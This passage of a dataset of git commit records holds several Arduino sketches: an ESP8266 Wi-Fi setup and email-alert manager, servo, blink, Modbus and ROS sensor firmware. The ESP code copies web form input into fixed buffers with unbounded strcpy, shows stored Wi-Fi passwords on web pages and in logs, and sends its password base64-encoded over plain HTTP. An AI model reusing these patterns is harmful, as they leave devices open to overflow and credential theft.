EspPassword);\n EEPROM.put (EMAIL_AD, Email);\n EEPROM.commit ();\n\n Debugln (\"\\nEEPROM INFO WRITTEN\");\n Debugf (\"SSID: %s\\n\", Ssid);\n Debugf (\"SsidPassword: %s\\n\", SsidPassword);\n Debugf (\"ESP Password: %s\\n\", EspPassword);\n Debugf (\"Email: %s\\n\\n\", Email);\n}\n \n\n\/*\n * Start wifi and try to connect inside the TimeOutInSec\n * return 1 if success\n * 0 if no success\n *\/\nint ConnectToWifi (char *s, char *p, int TimeOutInSec)\n{\n WiFi.begin (s, p);\n\n int t = 0; \n\n Debugf (\"Trying to connect to wifi with:\\nSsid: %s\\nPassword: %s\\n\", s, p); \n \n while (WiFi.status () != WL_CONNECTED && t++ < TimeOutInSec) \n {\n delay (1000);\n Debug (\".\");\n }\n\n Debugln ();\n \n if (WiFi.status () != WL_CONNECTED)\n return 0;\n \n Debugf (\"\\nWiFi connected to: %s\\n\", s); \n Debugf (\"with password: %s\\n\", p);\n Debug (\"IP address: \");\n Debugln (WiFi.localIP ());\n \n return 1;\n}\n\n\nint TryToConnectToWifi (int nboftry) \n{\n \/\/ try to connect nboftry times, delay (count x 2) sec between each try\n char count = 0;\n \n for (int i = 0; i < nboftry; i++)\n {\n if (ConnectToWifi (Ssid, SsidPassword, 30))\n return 1;\n if (++count >= nboftry)\n { \n Debugln (\"Giving up to try to connect to wifi, return to AP mode now\");\n WiFi.disconnect ();\n return 0;\n }\n delay (count * 2000); \n }\n return 0;\n}\n\n\n\/*\n * return 1 if good answer\n * 0 if not good answer\n * -1 if not connected to wifi\n * -2 if server did not answer, timeout reached\n *\/\nint GetRequestExt (char *ahost, char *request, char *data, int aport, char *answer, int TimeOutInSec, char *mem, int memsize)\n{\n WiFiClient client; \n \n Debugf (\"\\nGet Request\\nConnecting to: %s\\nRequest: %s\\nPort: %d\\nData: %s\\n\", ahost, request, aport, data); \n\n if (mem)\n memset (mem, 0, memsize);\n \n if (!client.connect(ahost, aport)) \n {\n Debugln (\"Connection failed\");\n return -1;\n } \n\n client.print (\"GET \/\");\n client.print (request);\n client.print (data);\n client.println (\" HTTP\/1.1\");\n client.print (\"Host: \");\n client.println (ahost);\n client.println (\"Cache-Control: no-cache\"); \n client.println (\"Connection: Close\");\n client.println ();\n client.println (); \n\n unsigned long timeout = millis();\n int to = TimeOutInSec * 1000;\n String line;\n \n while (client.available () == 0) \n if (millis() - timeout > to) \n {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return -2;\n }\n\n char gotanswer = 0;\n int nbofchar = 0;\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n char *p;\n char ret302 = 0;\n \/\/String redirect;\n \n while (client.available ())\n {\n line = client.readStringUntil ('\\r'); \n Debug (line);\n if (strstr (line.c_str (), \"Location: http:\") || \n (strstr (line.c_str (), \"HTTP\/\") && strstr (line.c_str (), \"30\")))\n {\n Debugln (\"\\nRedirection detected!\");\n ret302++;\n }\n \n if (answer && !gotanswer && (p = strstr (line.c_str (), answer)) != NULL)\n {\n if (mem)\n strncpy (mem, line.c_str(), memsize - 1); \n Debugf (\"\\n\\n*** GotAnswer: %s ***\\n\", p);\n Debugln (line);\n gotanswer = 1;\n }\n }\n\n\/* if (ret302 >= 2 && !gotanswer)\n {\n code to manage redirection, for example: hotspot with login page require username + password\n }\n*\/\n Debugln (\"\\nClosing connection\"); \n if (answer == NULL || gotanswer)\n return 1; \n return 0;\n}\n\n\n\/*\n * return 1 if good answer or answer is NULL and we got reply from server\n * if answer is NULL, mem will not be filled with reply from server\n * 0 if not good answer\n * -1 if not connected to wifi\n * -2 if server did not answer, timeout reached\n *\/\nint PostRequestExt (char *ahost, char *request, char *data, int aport, char *answer, int TimeOutInSec, char *mem, int memsize)\n{\n WiFiClient client; \n \n Debugf (\"\\nPost Request\\nConnecting to: %s\\nRequest: %s\\nPort: %d\\n\", ahost, request, aport); \n Debugf (\"Data: %s\\n\", data);\n\n if (mem)\n memset (mem, 0, memsize);\n\n if (!client.connect(ahost, aport)) \n {\n Debugln (\"Connection failed\");\n return -1;\n } \n\n client.print (\"POST \/\");\n client.print (request);\n client.println (\" HTTP\/1.1\");\n client.print (\"Host: \");\n client.println (ahost);\n client.println (\"Cache-Control: no-cache\");\n client.println (\"Content-Type: application\/x-www-form-urlencoded\");\n client.print (\"Content-Length: \");\n client.println (strlen (data));\n client.println (\"Connection: Close\");\n client.println ();\n client.println ();\n client.println (data);\n \n unsigned long timeout = millis();\n int to = TimeOutInSec * 1000;\n String line;\n \n while (client.available () == 0) \n if (millis() - timeout > to) \n {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return -2;\n }\n\n char gotanswer = 0;\n int nbofchar = 0;\n \n \/\/ Read all the lines of the reply from server, copy in mem and print them to Serial\n char *p;\n\n if (answer)\n Debugf (\"\\nWaiting for answer: %s\\n\\n\", answer);\n \n while (client.available ())\n {\n line = client.readStringUntil ('\\r');\n Debug (line);\n if (answer && !gotanswer && (p = strstr (line.c_str (), answer)) != NULL)\n {\n if (mem)\n strncpy (mem, line.c_str(), memsize - 1); \n Debugf (\"\\nGotAnswer: %s\\n\", p);\n Debugln (line);\n gotanswer = 1;\n }\n }\n\n Debugln (\"\\r\\nClosing connection\"); \n if (answer == NULL || gotanswer)\n return 1; \n return 0;\n}\n\n\nvoid handleRoot() \n{\n Debugln (\"Root\");\n char *buf2 = \"<\/center><br><form action=\\\"\/wifilist\\\" method=\\\"get\\\"><button>Configure WiFi<\/button><\/form><br\/><form action=\\\"wifinoscan\\\" method=\\\"get\\\"><button>Configure WiFi (No Scan)<\/button><\/form><br\/><form action=\\\"\/info\\\" method=\\\"get\\\"><button>Info<\/button><\/form><br\/><form action=\\\"\/reset\\\" method=\\\"post\\\"><button>Reset<\/button><\/form>\";\n\n String page = Header;\n page.replace (\"{v}\", EspName);\n page += \"<center>\";\n page += EspName;\n page += buf2;\n page += Footer;\n server.send(200, \"text\/html\", page);\n}\n\nint getRSSIasQuality(int RSSI) \n{\n int quality = 0;\n \n if (RSSI <= -100) \n quality = 0;\n else if (RSSI >= -50) \n quality = 100;\n else \n quality = 2 * (RSSI + 100);\n \n return quality;\n}\n\nvoid handleWifiList ()\n{\n Debugln (\"Wifi selection\");\n ListAP ();\n \n char *buf = \"<div><a href='#p' onclick='c(this)'><\/a> <span class='q {i}'><\/span><\/div>\"; \n char *itemvar = \"<div><a href='#p' onclick='c(this)'>{v}<\/a> <span class='q {i}'>{r}%<\/span><\/div>\"; \n char *submit = \"<form method='get' action='wifisave'>\"\n \"<input id='s' name='s' length=32 placeholder='SSID'><br\/>\"\n \"<input id='p' name='p' length=64 type='password' placeholder='password'><br\/>\"\n \"<input id='e' name='e' length=128 placeholder='youremailaddress@domain.com'><br\/><br>\"\n \"<button type='submit'>save<\/button><\/form><br\/><div class=\\\"c\\\"><a href=\\\"\/wifi\\\">Scan<\/a><\/body><\/html>\";\n\n String page = Header;\n page.replace (\"{v}\", EspName); \n page += \"<center>\";\n page += EspName;\n page += \"<\/center>\";\n page += buf;\n\n String item;\n int quality;\n \n for (int i = 0; i < NbOfSsid; i++)\n {\n quality = getRSSIasQuality (WiFi.RSSI(i));\n\n \/\/ if (_minimumQuality == -1 || _minimumQuality < quality) \n {\n item = itemvar;\n String rssiQ;\n rssiQ += quality;\n item.replace(\"{v}\", WiFi.SSID(i));\n item.replace(\"{r}\", rssiQ);\n if (WiFi.encryptionType(i) != ENC_TYPE_NONE) \n item.replace(\"{i}\", \"l\");\n else \n item.replace(\"{i}\", \"\"); \n page += item;\n } \n }\n \n page += submit;\n page += Footer;\n server.send (200, \"text\/html\", page); \n}\n\n\nvoid handleWifiSave ()\n{\n Debugln (\"Wifi save\");\n \n char s [33];\n char p [65];\n char e [129];\n\n strcpy (s, server.arg(\"s\").c_str());\n strcpy (p, server.arg(\"p\").c_str());\n strcpy (e, server.arg(\"e\").c_str());\n \n Debugf (\"Received from client\\nSsid: %s\\nSsidPassword: %s\\nEmail: %s\\n\", s, p, e); \n \n int ret = ConnectToWifi (s, p, 30);\n String page = Header;\n page.replace (\"{v}\", EspName);\n page += EspName;\n if (ret)\n page += \"<br>Connection successfull!<br>Info saved!<br>\";\n else \n {\n page += \"<br>Unable to connect with this info:<br>\";\n Debugln (\"\\nUnable to connect to wifi\");\n }\n \n page += \"Ssid: \";\n page += s;\n page += \"<br>\";\n \n page += \"SsidPassword: \";\n page += p;\n page += \"<br>\";\n\n page += \"Email: \";\n page += e;\n page += \"<br>\";\n\n if (!ret)\n {\n page += \"Go back and rescan<br>\";\n page += Footer; \n server.send(200, \"text\/html\", page); \n state = STATE_AP_MODE;\n return; \n }\n \n page += \"Check your email, you should receive an email soon!<br>\";\n page += Footer;\n server.send(200, \"text\/html\", page); \n\n strcpy (Ssid, s);\n strcpy (SsidPassword, p);\n strcpy (Email, e);\n \n SetEEpromInfo ();\n state = STATE_GET_INFO; \n}\n\n\nvoid handleReset ()\n{\n Debugln (\"Reset\");\n \n String page = Header;\n page.replace (\"{v}\", EspName);\n page += EspName;\n page += \" will reset in a few seconds\";\n if (Ssid [0] && SsidPassword [0])\n {\n page += \" and try to reconnect to wifi\";\n state = STATE_SEND_MAIL_STARTED;\n }\n else \n {\n page += \" and restart in Access Point mode\";\n state = STATE_AP_MODE;\n }\n page += Footer;\n server.send(200, \"text\/html\", page);\n \n ESP.reset();\n delay(2000); \n}\n\n\nvoid handleInfo ()\n{\n Debugln (\"Show Info\");\n \n String page = Header;\n page.replace(\"{v}\", \"Info\");\n \n page += \"<dl>\";\n \n page += \"<dt>Chip ID<\/dt><dd>\";\n page += ESP.getChipId();\n page += \"<\/dd>\";\n \n page += \"<dt>Flash Chip ID<\/dt><dd>\";\n page += ESP.getFlashChipId();\n page += \"<\/dd>\";\n \n page += \"<dt>IDE Flash Size<\/dt><dd>\";\n page += ESP.getFlashChipSize();\n page += \" bytes<\/dd>\";\n \n page += \"<dt>Real Flash Size<\/dt><dd>\";\n page += ESP.getFlashChipRealSize();\n page += \" bytes<\/dd>\";\n \n page += \"<dt>Soft AP IP<\/dt><dd>\";\n page += WiFi.softAPIP().toString();\n page += \"<\/dd>\";\n \n page += \"<dt>Soft AP MAC<\/dt><dd>\";\n page += WiFi.softAPmacAddress();\n page += \"<\/dd>\";\n\n page += \"<dt>Station MAC<\/dt><dd>\";\n page += WiFi.macAddress();\n page += \"<\/dd>\";\n\n page += \"<dt>Memory Stored Info<\/dt><dd>\";\n page += \"Ssid: \";\n page += Ssid;\n page += \"<br>\";\n page += \"SsidPassword: \";\n page += SsidPassword;\n page += \"<br>\";\n page += \"Email: \";\n page += Email;\n page += \"<br>\";\n page += \"<\/dd>\";\n \n page += \"<\/dl>\";\n page += Footer;\n \n server.send(200, \"text\/html\", page);\n}\n\n\nbool CheckPassword (char *p)\n{\n for (int i = 0; p [i] != 0; i++)\n if (!((p [i] >= '0' && p [i] <= '9') ||\n (p [i] >= 'a' && p [i] <= 'z') ||\n (p [i] >= 'A' && p [i] <= 'Z')))\n return 0;\n return 1;\n}\n \nvoid StartInAPMode ()\n{ \n if (EspPassword [0] == 0 || strlen (EspPassword) < 8 || CheckPassword (EspPassword) == 0)\n {\n strcpy (EspPassword, EspDefaultPW); \n SetEEpromInfo ();\n }\n\n if (CheckPassword (SsidPassword) == 0)\n {\n strcpy (SsidPassword, \"\"); \n SetEEpromInfo ();\n }\n \n WiFi.softAP (EspName, EspPassword); \n IPAddress myIP = WiFi.softAPIP();\n \n Debug (\"\\nStarting Access Point\\nAP IP address: \");\n Debugln (myIP);\n server.on(\"\/\", handleRoot);\n server.on(\"\/reset\", handleReset);\n server.on(\"\/info\", handleInfo);\n server.on(\"\/wifilist\", handleWifiList);\n server.on(\"\/wifisave\", handleWifiSave);\n server.begin();\n Debugln (\"HTTP server started\"); \n Debugf (\"Must connect at: %s\\nPassword: %s\\n\", EspName, EspPassword);\n}\n\n\nchar encode[] =\n{\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '\/'\n};\n\nlong encode_base64 (const void *pdata, long len, char *code)\n{\n unsigned char *s, *end;\n unsigned char *data = (unsigned char *) pdata;\n unsigned int x;\n long n;\n int i, j;\n\n end = data + len - 3;\n n = 0;\n\n for (s = data; s < end;)\n {\n x = *s++ << 24;\n x |= *s++ << 16;\n x |= *s++ << 8;\n\n *(code++) = encode[x >> 26];\n x <<= 6;\n *(code++) = encode[x >> 26];\n x <<= 6;\n *(code++) = encode[x >> 26];\n x <<= 6;\n *(code++) = encode[x >> 26];\n n += 4;\n }\n\n end += 3;\n\n x = 0;\n for (i = 0; s < end; i++)\n x |= *s++ << (24 - 8 * i);\n\n for (j = 0; j < 4; j++)\n {\n if (8 * i >= 6 * j)\n {\n *(code++) = encode [x >> 26];\n x <<= 6;\n n++;\n }\n else\n {\n *(code++) = '=';\n n++;\n }\n }\n\n *code = 0;\n return n;\n}\n\nvoid SetTime ()\n{\n TimeSet = millis ();\n}\n\n\nunsigned long TimeDiff ()\n{\n return (millis () - TimeSet); \n}\n\nvoid SetUpdateTime ()\n{\n UpdateTimeSet = millis ();\n}\n\nunsigned long UpdateTimeDiff ()\n{\n return (millis () - UpdateTimeSet); \n}\n\nint GetInfo (bool create)\n{\n char *request = \"getinfo.php?\";\n int port = 80;\n char mem [256];\n char *sep = \"!#\";\n char code [128];\n String data;\n\n if (create)\n data = \"create=1&iot=\";\n else data = \"create=0&iot=\";\n encode_base64 (EspName, strlen (EspName), code); \n data += code; \n\n data += \"&email=\";\n encode_base64 (Email, strlen (Email), code); \n data += code; \n\n data += \"&modpw=\";\n encode_base64 (EspPassword, strlen (EspPassword), code); \n data += code; \n\n char *p = (char*) data.c_str ();\n \n int ret = GetRequestExt (ServerHost, request, p, port, \"&Inf0\", 30, mem, sizeof (mem)); \n if (ret == -1 || ret == -2)\n return 0;\n \n Debugf (\"Inf0 return in mem: %s\\n\", mem);\n if (strstr (mem, \"&pending\"))\n PendingMode = 1;\n else PendingMode = 0;\n\n p = strstr (mem, \"&interval=\");\n if (p)\n {\n p += 10;\n UpdateInterval = (atoi (p) * 1000);\n Debugf (\"UpdateInterval set to: %d\\n\", UpdateInterval);\n }\n\n if (UpdateInterval < 30000)\n {\n Debugln (\"UpdateInterval below 30 sec, set to 1 min.\");\n UpdateInterval = 60000; \/\/ 1 minute\n }\n return ret;\n}\n\n\nint SendMail (char Option)\n{\n \/\/($use64, $mailtoe, $subjecte, $bodye, $fn, $buf) = split ('``!#`', $array); \n char *request = \"smf.php\"; \n int port = 80;\n char mem [256];\n char *sep = \"!#\";\n char code [128];\n String data;\n\n encode_base64 (Email, strlen (Email), code); \n data = code; \/\/ mailto\n data += sep;\n\n \/\/ subject\n switch (Option)\n {\n case SENDMAIL_OPTION_STARTED: \n sprintf (mem, \"%s: Started!\", EspName);\n break;\n case SENDMAIL_OPTION_SENSOR1:\n sprintf (mem, \"%s: Sensor Alert!\", EspName);\n break;\n }\n \n encode_base64 (mem, strlen (mem), code); \n data += code;\n data += sep;\n\n \/\/ body\n switch (Option)\n {\n case SENDMAIL_OPTION_STARTED: \n strcpy (mem, \"Info from web server has been readed\\r\\nModule updated!\\r\\n\");\n break;\n case SENDMAIL_OPTION_SENSOR1:\n strcpy (mem, \"Movement has been detected!\");\n break;\n }\n \n encode_base64 (mem, strlen (mem), code); \n data += code;\n\n char *p = (char*) data.c_str ();\n\n \/\/ answer is Mai1~S3nt\n \/\/ | is number 3\n \/\/ | is number 1\n int ret = PostRequestExt (ServerHost, request, p, port, \"Mai1~S3nt\", 30, mem, sizeof (mem)); \n if (ret == -1 || ret == -2)\n return 0;\n return ret;\n\n}\n\nint count = 0;\nint CountRequest = 0;\nint PendingRequest = 0;\nint MissedSendMail = 0;\nvoid loop() \n{ \n int ret;\n \n switch (state)\n {\n case STATE_AP_MODE:\n \/\/ if no connection or no ssid or no password\n \/\/ then enter in AP mode, list AP and let the user select an AP from our page so \n \/\/ he can select an AP, type a password and an email address \n StartInAPMode ();\n SetTime ();\n state = STATE_WAIT_INPUT;\n break;\n\n case STATE_WAIT_INPUT:\n \/\/ wait the user to select an AP from a web page\n \/\/ the handleRoot function will set state to STATE_GET_INFO once we get ssid+password\n\n \/\/ if we have already a ssid & password and 5 minutes have elapsed\n \/\/ then try to connect again, maybe wifi came back\n if (Ssid [0] && SsidPassword [0] && TimeDiff () > 180000) \n {\n Debugln (\"\\nWas waiting for new AP info, but now time passed\\nMust retry to connect to wifi again\");\n if (TryToConnectToWifi (1))\n {\n state = STATE_GET_INFO;\n break;\n } \n state = STATE_AP_MODE; \n SetTime (); \n }\n else server.handleClient(); \n break;\n\n case STATE_GET_INFO:\n if (WiFi.status () != WL_CONNECTED)\n if (!TryToConnectToWifi (3))\n {\n state = STATE_AP_MODE;\n break;\n } \n if ((ret = GetInfo (1)) == 1) \n {\n if (PendingMode)\n {\n state = STATE_PENDING_MODE;\n Debugln (\"Going to: STATE_PENDING_MODE\");\n PendingRequest = 0;\n SetTime ();\n break;\n }\n else\n {\n state = STATE_SEND_MAIL_STARTED; \n Debugln (\"Going to: STATE_SEND_MAIL_STARTED\");\n CountRequest = 0;\n break;\n }\n }\n if (++CountRequest > 2)\n {\n CountRequest = 0;\n if (ret == 0)\n {\n state = STATE_WAIT_FOR_SENSOR;\n SetUpdateTime (); \n }\n else state = STATE_AP_MODE;\n MissedSendMail++;\n Debugln (\"Giving up to try to get info from server, return to SENSOR MODE now\");\n }\n delay (CountRequest * 3000);\n break;\n\n case STATE_PENDING_MODE: \/\/ will check 15 times only (15 minutes), after will recreate the file on server\n if (TimeDiff () > 60000) \/\/ 1 min\n { \n SetTime ();\n if (GetInfo (0))\n {\n if (!PendingMode)\n {\n state = STATE_SEND_MAIL_STARTED; \n Debugln (\"Got it activated\\nGoing to STATE_SEND_MAIL_STARTED\");\n CountRequest = 0;\n break;\n }\n Debugln (\"Still in STATE_PENDING_MODE, user did not activate yet\");\n }\n if (++PendingRequest >= 15)\n {\n state = STATE_GET_INFO;\n Debugln (\"Did not get activated after 15 tries, giving up\\nGoing to STATE_GET_INFO\");\n break;\n }\n Debugln (\"Waiting to get activated by the user\");\n }\n break;\n \n case STATE_SEND_MAIL_STARTED:\n if (WiFi.status () != WL_CONNECTED)\n if (!TryToConnectToWifi (3))\n {\n state = STATE_AP_MODE;\n break;\n }\n if ((ret = SendMail (SENDMAIL_OPTION_STARTED)) == 1)\n {\n state = STATE_WAIT_FOR_SENSOR; \n SetUpdateTime (); \n CountRequest = 0;\n Debugln (\"WiFi Disconnect\\nGoing in WaitForSensor mode now\");\n WiFi.disconnect ();\n break;\n }\n if (++CountRequest > 2)\n {\n CountRequest = 0;\n if (ret == 0)\n {\n state = STATE_WAIT_FOR_SENSOR;\n SetUpdateTime (); \n }\n else state = STATE_AP_MODE;\n MissedSendMail++;\n Debugln (\"Giving up to try to send an email, return to SENSOR MODE now\");\n }\n delay (CountRequest * 3000);\n break;\n\n case STATE_UPDATE_INFO:\n if (UpdateTimeDiff () > UpdateInterval)\n {\n Debugln (\"Going to update info on\/from server\");\n if (WiFi.status () != WL_CONNECTED)\n TryToConnectToWifi (1);\n if (WiFi.status () == WL_CONNECTED)\n GetInfo (0);\n }\n \n SetUpdateTime (); \n state = STATE_WAIT_FOR_SENSOR; \n break;\n \n case STATE_WAIT_FOR_SENSOR: \n if (UpdateTimeDiff () > UpdateInterval)\n {\n state = STATE_UPDATE_INFO;\n break;\n }\n \/\/ code to do: check for whatever is connected to the esp \n break;\n }\n}\n\nvoid setup () \n{ \n DebugInit (); \n delay (100);\n Debugln ();\n\n StartTime = millis ();\n Debug (\"\\nChip ID: \");\n Debugln (ESP.getChipId ());\n \n sprintf (EspName, \"ESPINO-%X\", ESP.getChipId ()); \n Debugf (\"EspName: %s\\n\", EspName);\n \n GetEEpromInfo (); \n if (EspPassword [0] == 0)\n strcpy (EspPassword, EspDefaultPW); \n if (Ssid [0] == 0 || SsidPassword [0] == 0 || Email [0] == 0)\n state = STATE_AP_MODE;\n else state = STATE_GET_INFO; \n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'espmanager.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7a872bea5933e1fa52ae3beeaaf7daf4c37701a2","subject":" init electronique","message":" init electronique\n","repos":"nicogid\/Projet4Moc1,nicogid\/Projet4Moc1,nicogid\/Projet4Moc1,nicogid\/Projet4Moc1","old_file":"electro\/Projet\/Projet.ino","new_file":"electro\/Projet\/Projet.ino","new_contents":"#include <Servo.h>\n\nServo servo;\nconst int buttonPin = 2; \/\/ broche du capteur PIR\nint buttonState = 0; \/\/ etat de la sortie du capteur\n\nvoid setup()\n{\n servo.attach(9);\n pinMode(buttonPin, INPUT); \/\/la broche du capteur est mise en entree\n}\n\nvoid loop()\n{\n buttonState = digitalRead(buttonPin);\/\/lecture du capteur\n if (buttonState == HIGH) \/\/si quelquechose est detecte\n {\n for (int position = 0; position <= 180; position++) {\n servo.write(position);\n delay(15);\n }\n delay(1000);\n\n \/\/ Fait bouger le bras de 180\u00b0 \u00e0 10\u00b0\n for (int position = 180; position >= 0; position--) {\n servo.write(position);\n delay(15);\n }\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'electro\/Projet\/Projet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd03ae3390b151ae1b12ba44c752c2337f5d2771","subject":"New blink example","message":"New blink example\n","repos":"ftrias\/TeensyThreads","old_file":"examples\/Blink\/Blink.ino","new_file":"examples\/Blink\/Blink.ino","new_contents":"#include <Arduino.h>\n#include \"Threads.h\"\n\nconst int LED = 13;\n\nvolatile int blinkcode = 0;\n\nvoid blinkthread() {\n while(1) {\n if (blinkcode) {\n for (int i=0; i<blinkcode; i++) {\n digitalWrite(LED, HIGH);\n threads.delay(150);\n digitalWrite(LED, LOW);\n threads.delay(150);\n }\n blinkcode = 0;\n }\n threads.yield();\n }\n}\n\nvoid setup() {\n delay(1000);\n pinMode(LED, OUTPUT);\n threads.addThread(blinkthread);\n}\n\nint count = 0;\n\nvoid loop() {\n count++;\n blinkcode = count;\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a1e452e7418bc0e607640a03162f33a5681a38a","subject":"Create RS485_UnoR3_Master.ino","message":"Create RS485_UnoR3_Master.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rs485\/RS485_UnoR3_Master.ino","new_file":"rs485\/RS485_UnoR3_Master.ino","new_contents":"#include <SimpleModbusMaster.h>\n\n#define baud 9600\n#define timeout 1000\n#define polling 200\n#define retry_count 10\n\n#define TxEnablePin 2 \n\n#define LED 9\n\n#define TOTAL_NO_OF_REGISTERS 1\n\nenum\n{\n PACKET1,\n PACKET2,\n TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\nint sensorValue = 0; \/\/ value read from the pot\nint outputValue = 0; \n\nPacket packets[TOTAL_NO_OF_PACKETS];\n\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\nvoid setup()\n{\n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 1, 1, 0);\n \n modbus_configure(&Serial, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n modbus_update();\n regs[0] = analogRead(0);\n analogWrite(LED, regs[0]>>2); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rs485\/RS485_UnoR3_Master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e477289233e1cfdc4ba8767f96e618aecaee88f2","subject":"Add 10-key support","message":"Add 10-key support\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"78330615e2773a0b24a82246ab919bff22a21d8f","subject":"Add Arduino firmware for right gripper-v6","message":"Add Arduino firmware for right gripper-v6\n","repos":"pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc","old_file":"jsk_arc2017_baxter\/firmware\/gripper_v6\/sensor_manager_right\/sensor_manager_right.ino","new_file":"jsk_arc2017_baxter\/firmware\/gripper_v6\/sensor_manager_right\/sensor_manager_right.ino","new_contents":"#include <SPI.h>\n#include <ros.h>\n#include <std_msgs\/Bool.h>\n#include <std_msgs\/Float64.h>\n#include <std_msgs\/UInt16.h>\n\nunsigned long int temp_raw, pres_raw;\nsigned long int t_fine;\n\nuint16_t dig_T1;\nint16_t dig_T2;\nint16_t dig_T3;\nuint16_t dig_P1;\nint16_t dig_P2;\nint16_t dig_P3;\nint16_t dig_P4;\nint16_t dig_P5;\nint16_t dig_P6;\nint16_t dig_P7;\nint16_t dig_P8;\nint16_t dig_P9;\n\nros::NodeHandle nh; \/\/write with IDE\n\/\/ ros::NodeHandle_<ArduinoHardware, 1, 2, 512, 512> nh;\n\nstd_msgs::Float64 pressure_msg;\nstd_msgs::Bool bool_msg;\nstd_msgs::UInt16 r_finger_flex_msg;\nstd_msgs::UInt16 l_finger_flex_msg;\n\nros::Publisher pressure_pub(\"gripper_front\/limb\/right\/pressure\/state\", &pressure_msg);\nros::Publisher state_pub(\"gripper_front\/limb\/right\/pressure\/grabbed\/state\", &bool_msg);\nros::Publisher r_finger_flex_pub(\"gripper_front\/limb\/right\/r_finger_flex\/state\", &r_finger_flex_msg);\nros::Publisher l_finger_flex_pub(\"gripper_front\/limb\/right\/l_finger_flex\/state\", &l_finger_flex_msg);\n\nunsigned long publisher_timer = 0;\n\nvoid setup() {\n nh.getHardware()->setBaud(115200);\n nh.initNode();\n nh.advertise(pressure_pub);\n nh.advertise(state_pub);\n nh.advertise(r_finger_flex_pub);\n nh.advertise(l_finger_flex_pub);\n\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV8);\n initBME();\n readTrim();\n}\n\n\nvoid loop() {\n float temp_act = 0.0, press_act = 0.0;\n unsigned long int press_cal, temp_cal;\n\n if (millis() > publisher_timer) {\n \/\/ Pressure\n readData();\n temp_cal = calibration_T(temp_raw);\n press_cal = calibration_P(pres_raw);\n temp_act = (float)temp_cal \/ 100.0;\n press_act = (float)press_cal \/ 100.0;\n\n bool_msg.data = (press_act < 840);\n pressure_msg.data = press_act;\n\n state_pub.publish(&bool_msg);\n pressure_pub.publish(&pressure_msg);\n\n \/\/ Finger Flex\n r_finger_flex_msg.data = analogRead(A0);\n l_finger_flex_msg.data = analogRead(A1);\n r_finger_flex_pub.publish(&r_finger_flex_msg);\n l_finger_flex_pub.publish(&l_finger_flex_msg);\n\n publisher_timer = millis() + 100;\n }\n nh.spinOnce();\n}\n\nvoid initBME()\n{\n digitalWrite(SS, LOW);\n SPI.transfer((0xF5 & 0x7F));\n SPI.transfer(0xA0);\n SPI.transfer((0xF4 & 0x7F));\n SPI.transfer(0x27);\n digitalWrite(SS, HIGH);\n}\n\nvoid readTrim()\n{\n uint8_t data[32];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0x88 | 0x80));\n for (i = 0; i < 24; i++) {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n SPI.transfer((0xA1 | 0x80));\n data[24] = SPI.transfer(0);\n digitalWrite(SS, HIGH);\n delay(1);\n digitalWrite(SS, LOW);\n SPI.transfer((0xE1 | 0x80));\n for (i = 25; i < 32; i++) {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n\n dig_T1 = (data[1] << 8) | data[0];\n dig_T2 = (data[3] << 8) | data[2];\n dig_T3 = (data[5] << 8) | data[4];\n dig_P1 = (data[7] << 8) | data[6];\n dig_P2 = (data[9] << 8) | data[8];\n dig_P3 = (data[11] << 8) | data[10];\n dig_P4 = (data[13] << 8) | data[12];\n dig_P5 = (data[15] << 8) | data[14];\n dig_P6 = (data[17] << 8) | data[16];\n dig_P7 = (data[19] << 8) | data[18];\n dig_P8 = (data[21] << 8) | data[20];\n dig_P9 = (data[23] << 8) | data[22];\n}\n\nvoid readData()\n{\n uint32_t data[8];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0xF7 | 0x80));\n for (i = 0; i < 8; i++) {\n data[i] = SPI.transfer(0x00);\n }\n digitalWrite(SS, HIGH);\n pres_raw = (data[0] << 12) | (data[1] << 4) | (data[2] >> 4);\n temp_raw = (data[3] << 12) | (data[4] << 4) | (data[5] >> 4);\n}\n\nsigned long int calibration_T(signed long int adc_T)\n{\n\n signed long int var1, var2, T;\n var1 = ((((adc_T 